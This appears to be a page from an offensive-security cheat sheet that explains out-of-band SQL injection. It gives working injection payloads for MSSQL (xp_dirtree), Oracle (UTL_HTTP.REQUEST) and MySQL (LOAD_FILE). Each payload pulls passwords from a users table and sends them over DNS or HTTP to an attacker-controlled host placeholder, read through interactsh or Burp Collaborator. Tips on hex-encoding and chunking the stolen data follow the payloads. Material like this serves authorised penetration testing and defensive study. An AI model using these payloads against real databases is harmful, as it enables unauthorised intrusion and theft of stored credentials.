Skip to content

Out-of-band SQLi

When the application returns no error, no reflected output, no behavioural change, and no observable timing difference, the database can still leak data - by making it talk to a server you control. Trigger a DNS lookup or HTTP request from the database and read the data on your end.

'; DECLARE @data varchar(1024); SELECT @data = (SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "\\'+@data+'.<ATTACKER>\share"')-- -
ConditionUse OOB?
Visible errors / outputNo - use UNION-based
Boolean oracle worksNo - use Boolean blind
Time delays measurableNo - use Time blind
None of the above + DB has egressYes

Use Burp Collaborator, interactsh, or your own DNS server.

Terminal window
# interactsh
interactsh-client
# Returns a unique <id>.oast.fun (or similar) host
# Use this in payloads as <ATTACKER>

Each DNS lookup or HTTP request to <extracted_data>.<id>.oast.fun shows up in the client output, with the leaked data as a subdomain label.

  1. Confirm OOB egress - fire a payload that just triggers a callback with a static value:

    ' || (SELECT UTL_HTTP.REQUEST('http://test.<ATTACKER>') FROM dual)-- -

    If test.<ATTACKER> shows up in your collaborator, the DB can egress.

  2. Replace the static value with a query - extract data:

    ' || (SELECT UTL_HTTP.REQUEST('http://'||(SELECT password FROM users WHERE rownum=1)||'.<ATTACKER>') FROM dual)-- -
  3. Read the leaked data in the collaborator/interactsh output. The subdomain label is the extracted value.

DNS labels allow only a-z 0-9 - and are limited to 63 chars per label. Encode binary data as hex:

' UNION SELECT LOAD_FILE(CONCAT('\\\\', HEX((SELECT password FROM users LIMIT 1)), '.<ATTACKER>\\share'))-- -

For data > 63 chars, split into chunks across multiple labels or multiple lookups.

  • OOB is the slowest but most reliable extraction class for fully-blind targets.
  • DNS exfil is preferred over HTTP - UDP/53 is rarely blocked outbound, even when 80/443 are.
  • This is one of the few SQLi classes that requires the database server to have outbound network access. Fully-isolated databases cannot be exfiltrated this way.
  • For large extractions, prefer building a small bash loop that splits the data at the SQL layer and pages through it, rather than trying to fit everything into one DNS label.